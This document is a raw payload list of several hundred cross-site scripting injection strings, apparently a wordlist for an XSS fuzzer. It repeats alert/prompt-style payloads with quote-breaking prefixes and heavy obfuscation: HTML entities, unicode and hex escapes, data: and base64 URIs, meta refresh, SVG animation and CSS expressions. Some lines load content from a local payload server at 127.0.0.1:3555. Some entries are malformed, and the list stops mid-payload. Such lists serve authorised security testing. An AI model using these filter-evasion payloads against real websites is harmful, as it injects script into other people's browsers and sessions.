</ScrIpt><script>alert(1);</script>\r\n\"><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n'><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n<%0ascript>alert(1);</script>\r\n\"><%0ascript>alert(1);</script>\r\n'><%0ascript>alert(1);</script>\r\n<%0bscript>alert(1);</script>\r\n\"><%0bscript>alert(1);</script>\r\n'><%0bscript>alert(1);</script>\r\n<SCRIPT> alert(\\\"1\\\");</SCRIPT>\r\n</ScrIpt><SCRIPT> alert(\\\"1\\\");</SCRIPT>\r\n\"><SCRIPT> alert(\\\"1\\\");</SCRIPT>\r\n</ScrIpt><SCRIPT> alert(\\\"1\\\");</SCRIPT>\r\n'><SCRIPT> alert(\\\"1\\\");</SCRIPT>\r\n</ScrIpt><SCRIPT> alert(\\\"1\\\");</SCRIPT>\r\n<SCRIPT> alert(\\\"1\\\")</SCRIPT>\r\n</ScrIpt><SCRIPT> alert(\\\"1\\\")</SCRIPT>\r\n\"><SCRIPT> alert(\\\"1\\\")</SCRIPT>\r\n</ScrIpt><SCRIPT> alert(\\\"1\\\")</SCRIPT>\r\n'><SCRIPT> alert(\\\"1\\\")</SCRIPT>\r\n</ScrIpt><SCRIPT> alert(\\\"1\\\")</SCRIPT>\r\n<script>alert([!![]] [])</script>\r\n</ScrIpt><script>alert([!![]] [])</script>\r\n\"><script>alert([!![]] [])</script>\r\n</ScrIpt><script>alert([!![]] [])</script>\r\n'><script>alert([!![]] [])</script>\r\n</ScrIpt><script>alert([!![]] [])</script>\r\n<var onmouseover=\"prompt(1)\">X</var>\r\n\"><var onmouseover=\"prompt(1)\">X</var>\r\n'><var onmouseover=\"prompt(1)\">X</var>\r\n%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80?\r\n<input type=\"text\" value=``<div/onmouseover='alert(1)'>X</div>\r\n\"><input type=\"text\" value=``<div/onmouseover='alert(1)'>X</div>\r\n'><input type=\"text\" value=``<div/onmouseover='alert(1)'>X</div>\r\n<iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?\r\n\"><iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?\r\n'><iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?\r\n<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>\r\n\"><iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>\r\n'><iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>\r\n<meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n\"><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n'><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>?\r\n\"><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n\"><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n'><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>?\r\n'><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n\"><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>\r\n'><meta http-equiv=\"refresh\" content=\"0;javascript&colon;alert(1)\"/>?\r\n<embed code=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\" allowscriptaccess=always>\r\n\"><embed code=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\" allowscriptaccess=always>\r\n'><embed code=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\" allowscriptaccess=always>?\r\n\"><embed code=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\" allowscriptaccess=always>?\r\n'><embed code=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\" allowscriptaccess=always>?\r\n<script>~'\\u0061' ;  \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073.  \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n</ScrIpt><script>~'\\u0061' ;  \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073.  \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n\"><script>~'\\u0061' ;  \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073.  \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n</ScrIpt><script>~'\\u0061' ;  \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073.  \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n'><script>~'\\u0061' ;  \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073.  \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n</ScrIpt><script>~'\\u0061' ;  \\u0074\\u0068\\u0072\\u006F\\u0077 ~ \\u0074\\u0068\\u0069\\u0073.  \\u0061\\u006C\\u0065\\u0072\\u0074(~'\\u0061')</script U+\r\n<script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n\"><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n'><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script ????????????\r\n\"><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n\"><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n'><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script ????????????\r\n'><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n\"><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script\r\n'><script/src=data&colon;text/j\\u0061v\\u0061&#115&#99&#114&#105&#112&#116,\\u0061%6C%65%72%74(/X/)></script ????????????\r\n<script itworksinallbrowsers>/*<script* */alert(1)</script\r\n\"><script itworksinallbrowsers>/*<script* */alert(1)</script\r\n'><script itworksinallbrowsers>/*<script* */alert(1)</script ?\r\n\"><script itworksinallbrowsers>/*<script* */alert(1)</script ?\r\n'><script itworksinallbrowsers>/*<script* */alert(1)</script ?\r\n<img src ?itworksonchrome?\\/onerror = alert(1)\r\n\"><img src ?itworksonchrome?\\/onerror = alert(1)\r\n'><img src ?itworksonchrome?\\/onerror = alert(1)???\r\n\"><img src ?itworksonchrome?\\/onerror = alert(1)???\r\n'><img src ?itworksonchrome?\\/onerror = alert(1)???\r\n<meta http-equiv=\"refresh\" content=\"0; url=data:text/html;blabla,&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\">\r\n\"><meta http-equiv=\"refresh\" content=\"0; url=data:text/html;blabla,&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\">\r\n'><meta http-equiv=\"refresh\" content=\"0; url=data:text/html;blabla,&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\">\r\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa  aaaaaaaaa aaaaaaaaaa  href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe\r\n\"><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa  aaaaaaaaa aaaaaaaaaa  href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe\r\n'><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa  aaaaaaaaa aaaaaaaaaa  href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe\r\n<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n\"><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n'><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> ?\r\n\"><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n\"><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n'><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> ?\r\n'><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n\"><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>\r\n'><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> ?\r\n<div  style=\"position:absolute;top:0;left:0;width:100%;height:100%\"  onmouseover=\"prompt(1)\" onclick=\"alert(1)\">x</button>?\r\n\"><div  style=\"position:absolute;top:0;left:0;width:100%;height:100%\"  onmouseover=\"prompt(1)\" onclick=\"alert(1)\">x</button>?\r\n'><div  style=\"position:absolute;top:0;left:0;width:100%;height:100%\"  onmouseover=\"prompt(1)\" onclick=\"alert(1)\">x</button>?\r\n<img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html\"');>\r\n\"><img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html\"');>\r\n'><img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html\"');>\r\n<table background=javascript:alert(1)></table>\r\n\"><table background=javascript:alert(1)></table>\r\n'><table background=javascript:alert(1)></table>\r\n<object/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf\r\n\"><object/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf\r\n'><object/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf\r\n<applet code=\"javascript:confirm(1);\">\r\n\"><applet code=\"javascript:confirm(1);\">\r\n'><applet code=\"javascript:confirm(1);\">\r\n<marquee/onstart=confirm(2)>/\r\n\"><marquee/onstart=confirm(2)>/\r\n'><marquee/onstart=confirm(2)>/\r\n<body onload=prompt(1);>\r\n\"><body onload=prompt(1);>\r\n'><body onload=prompt(1);>\r\n<select autofocus onfocus=alert(1)>\r\n\"><select autofocus onfocus=alert(1)>\r\n'><select autofocus onfocus=alert(1)>\r\n<textarea autofocus onfocus=alert(1)>\r\n\"><textarea autofocus onfocus=alert(1)>\r\n'><textarea autofocus onfocus=alert(1)>\r\n<keygen autofocus onfocus=alert(1)>\r\n\"><keygen autofocus onfocus=alert(1)>\r\n'><keygen autofocus onfocus=alert(1)>\r\n<video><source onerror=\"javascript:alert(1)\">\r\n\"><video><source onerror=\"javascript:alert(1)\">\r\n'><video><source onerror=\"javascript:alert(1)\">\r\n<a onmouseover=\"javascript:window.onerror=alert;throw 1>\r\n\"><a onmouseover=\"javascript:window.onerror=alert;throw 1>\r\n'><a onmouseover=\"javascript:window.onerror=alert;throw 1>\r\n<img src=x onerror=\"javascript:window.onerror=alert;throw 1\">\r\n\"><img src=x onerror=\"javascript:window.onerror=alert;throw 1\">\r\n'><img src=x onerror=\"javascript:window.onerror=alert;throw 1\">\r\n<body/onload=javascript:window.onerror=eval;throw'=alert\\x281\\x29';\r\n\"><body/onload=javascript:window.onerror=eval;throw'=alert\\x281\\x29';\r\n'><body/onload=javascript:window.onerror=eval;throw'=alert\\x281\\x29';\r\n<img style=\"xss:expression(alert(1))\">\r\n\"><img style=\"xss:expression(alert(1))\">\r\n'><img style=\"xss:expression(alert(1))\">\r\n<div style=\"color:rgb(''&#0;x:expression(alert(1))\"></div>\r\n\"><div style=\"color:rgb(''&#0;x:expression(alert(1))\"></div>\r\n'><div style=\"color:rgb(''&#0;x:expression(alert(1))\"></div>\r\n<a onmouseover=location=?javascript:alert(1)>click\r\n\"><a onmouseover=location=?javascript:alert(1)>click\r\n'><a onmouseover=location=?javascript:alert(1)>click\r\n<body onfocus=\"location='javascrpt:alert(1) >123\r\n\"><body onfocus=\"location='javascrpt:alert(1) >123\r\n'><body onfocus=\"location='javascrpt:alert(1) >123\r\n<svg xmlns:xlink=\"http://www.w3.org/1999/xlink\"><a><circle r=100 /><animate attributeName=\"xlink:href\" values=\";javascript:alert(1)\" begin=\"0s\" dur=\"0.1s\" fill=\"freeze\"/>\r\n\"><svg xmlns:xlink=\"http://www.w3.org/1999/xlink\"><a><circle r=100 /><animate attributeName=\"xlink:href\" values=\";javascript:alert(1)\" begin=\"0s\" dur=\"0.1s\" fill=\"freeze\"/>\r\n'><svg xmlns:xlink=\"http://www.w3.org/1999/xlink\"><a><circle r=100 /><animate attributeName=\"xlink:href\" values=\";javascript:alert(1)\" begin=\"0s\" dur=\"0.1s\" fill=\"freeze\"/>\r\n<svg><![CDATA[><imagexlink:href=\"]]><img/src=xx:xonerror=alert(1)//\"></svg>\r\n\"><svg><![CDATA[><imagexlink:href=\"]]><img/src=xx:xonerror=alert(1)//\"></svg>\r\n'><svg><![CDATA[><imagexlink:href=\"]]><img/src=xx:xonerror=alert(1)//\"></svg>\r\n<meta content=\"&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)\" http-equiv=\"refresh\"/>\r\n\"><meta content=\"&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)\" http-equiv=\"refresh\"/>\r\n'><meta content=\"&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)\" http-equiv=\"refresh\"/>\r\n<svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:\\u0061lert(1);\"></g></svg>\r\n\"><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:\\u0061lert(1);\"></g></svg>\r\n'><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:\\u0061lert(1);\"></g></svg>\r\n<style>#test{x:expression(alert(/X/))}</style>\r\n\"><style>#test{x:expression(alert(/X/))}</style>\r\n'><style>#test{x:expression(alert(/X/))}</style>\r\n<object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>\r\n\"><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>\r\n'><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>?\r\n\"><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>?\r\n'><object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>?\r\n<meta http-equiv=\"refresh\" content=\"0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\">\r\n\"><meta http-equiv=\"refresh\" content=\"0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\">\r\n'><meta http-equiv=\"refresh\" content=\"0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\">\r\neval(\"s=document.createElement('script');alert(1);document.getElementsByTagName('head')[0].appendChild(s)\")\r\n<meta http-equiv=\"refresh\" content=\"0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html\"\r\n\"><meta http-equiv=\"refresh\" content=\"0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html\"\r\n'><meta http-equiv=\"refresh\" content=\"0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html\"\r\n<meta http-equiv=\"refresh\" content=\"0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html\"\r\n\"><meta http-equiv=\"refresh\" content=\"0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html\"\r\n'><meta http-equiv=\"refresh\" content=\"0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html\">\r\n\"><meta http-equiv=\"refresh\" content=\"0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html\">\r\n'><meta http-equiv=\"refresh\" content=\"0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html\">\r\njavascript:/*?></marquee></script></title></textarea></noscript></style></xmp>?> [img=1]<img -/style=-=expression&#40/*?/-/*',/**/eval(name)//);wi dth:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript :eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>?\"/>\r\n<img src=?<img src=x?/onerror=alert(1)//?> Jquery: <img/src/onerror=alert(1)>\r\n\"><img src=?<img src=x?/onerror=alert(1)//?> Jquery: <img/src/onerror=alert(1)>\r\n'><img src=?<img src=x?/onerror=alert(1)//?> Jquery: <img/src/onerror=alert(1)>\r\n<input id=x><input id=x><script>alert(x)</script>\r\n\"><input id=x><input id=x><script>alert(x)</script>\r\n'><input id=x><input id=x><script>alert(x)</script>\r\n<a href=\"invalid:1\" id=x name=y>test</a><a href=\"invalid:2\" id=x name=y>test</a><script>alert(x.y[0])</script>\r\n\"><a href=\"invalid:1\" id=x name=y>test</a><a href=\"invalid:2\" id=x name=y>test</a><script>alert(x.y[0])</script>\r\n'><a href=\"invalid:1\" id=x name=y>test</a><a href=\"invalid:2\" id=x name=y>test</a><script>alert(x.y[0])</script>\r\n<script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>\r\n</ScrIpt><script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>\r\n\"><script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>\r\n</ScrIpt><script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>\r\n'><script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>\r\n</ScrIpt><script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>\r\n<a href=1 name=x>test</a><a href=1 name=x>test</a><script>alert(x.removeChild)alert(x.parentNode)</script>\r\n\"><a href=1 name=x>test</a><a href=1 name=x>test</a><script>alert(x.removeChild)alert(x.parentNode)</script>\r\n'><a href=1 name=x>test</a><a href=1 name=x>test</a><script>alert(x.removeChild)alert(x.parentNode)</script>\r\n<a href=\"123\" id=x>test</a><script>x='javascript:alert(1)';</script>\r\n\"><a href=\"123\" id=x>test</a><script>x='javascript:alert(1)';</script>\r\n'><a href=\"123\" id=x>test</a><script>x='javascript:alert(1)';</script>\r\n<form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\">\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\">\r\n'><form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\"></form><script>if(top!=self){top.location=self.location}</script>\r\n\"><form name=self location=\"javascript:alert(1)\"></form><script>if(top!=self){top.location=self.location}</script>\r\n'><form name=self location=\"javascript:alert(1)\"></form><script>if(top!=self){top.location=self.location}</script>\r\n<form name=self location=\"javascript&amp;#58;alert(1)\"></form><script>if(top!=self){top.location=self.location}</script>\r\n\"><form name=self location=\"javascript&amp;#58;alert(1)\"></form><script>if(top!=self){top.location=self.location}</script>\r\n'><form name=self location=\"javascript&amp;#58;alert(1)\"></form><script>if(top!=self){top.location=self.location}</script>\r\n%3Cimg%20name%3DgetElementsByTagName%20src%3D1%20%20onerror%3Dalert(1)%3E\r\n%3Cform%20onmouseover%3Dalert(1)%3E%3Cinput%20name%3Dattributes%3E\r\n<a/onmouseover[\\x0b]=location='\\x6A\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3A\\x61\\x6C\\x65\\x72\\x74\\x28\\x31\\x29\\x3B'>X\r\n\"><a/onmouseover[\\x0b]=location='\\x6A\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3A\\x61\\x6C\\x65\\x72\\x74\\x28\\x31\\x29\\x3B'>X\r\n'><a/onmouseover[\\x0b]=location='\\x6A\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3A\\x61\\x6C\\x65\\x72\\x74\\x28\\x31\\x29\\x3B'>X\r\ndata:text/html,%3Cscript%3Ealert(1)%3C%2Fscript%3E\r\nwindow.name//'name=\"javascript:alert(\"X\")\r\n<svg/onload=location=/java/.source+/script/.source+location.h ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has h[3]//#:()\r\n\"><svg/onload=location=/java/.source+/script/.source+location.h ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has h[3]//#:()\r\n'><svg/onload=location=/java/.source+/script/.source+location.h ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has h[3]//#:()\r\n<%div%20style=xss:expression(prompt(1))>\r\n\"><%div%20style=xss:expression(prompt(1))>\r\n'><%div%20style=xss:expression(prompt(1))>\r\n%22]);}catch(e){}if(!self.a)self.a=!alert(1);/\r\n<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>;\r\n</ScrIpt><script>alert(1)</script>;\r\n\"><script>alert(1)</script>;\r\n</ScrIpt><script>alert(1)</script>;\r\n'><script>alert(1)</script>;\r\n</ScrIpt><script>alert(1)</script>;\r\n<script>alert(\"/X\"/)</script>\r\n</ScrIpt><script>alert(\"/X\"/)</script>\r\n\"><script>alert(\"/X\"/)</script>\r\n</ScrIpt><script>alert(\"/X\"/)</script>\r\n'><script>alert(\"/X\"/)</script>\r\n</ScrIpt><script>alert(\"/X\"/)</script>\r\n<SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n\"><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\r\n'><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT>a=/X/\\nalert(1);</SCRIPT>\r\n</ScrIpt><SCRIPT>a=/X/\r\n</ScrIpt><SCRIPT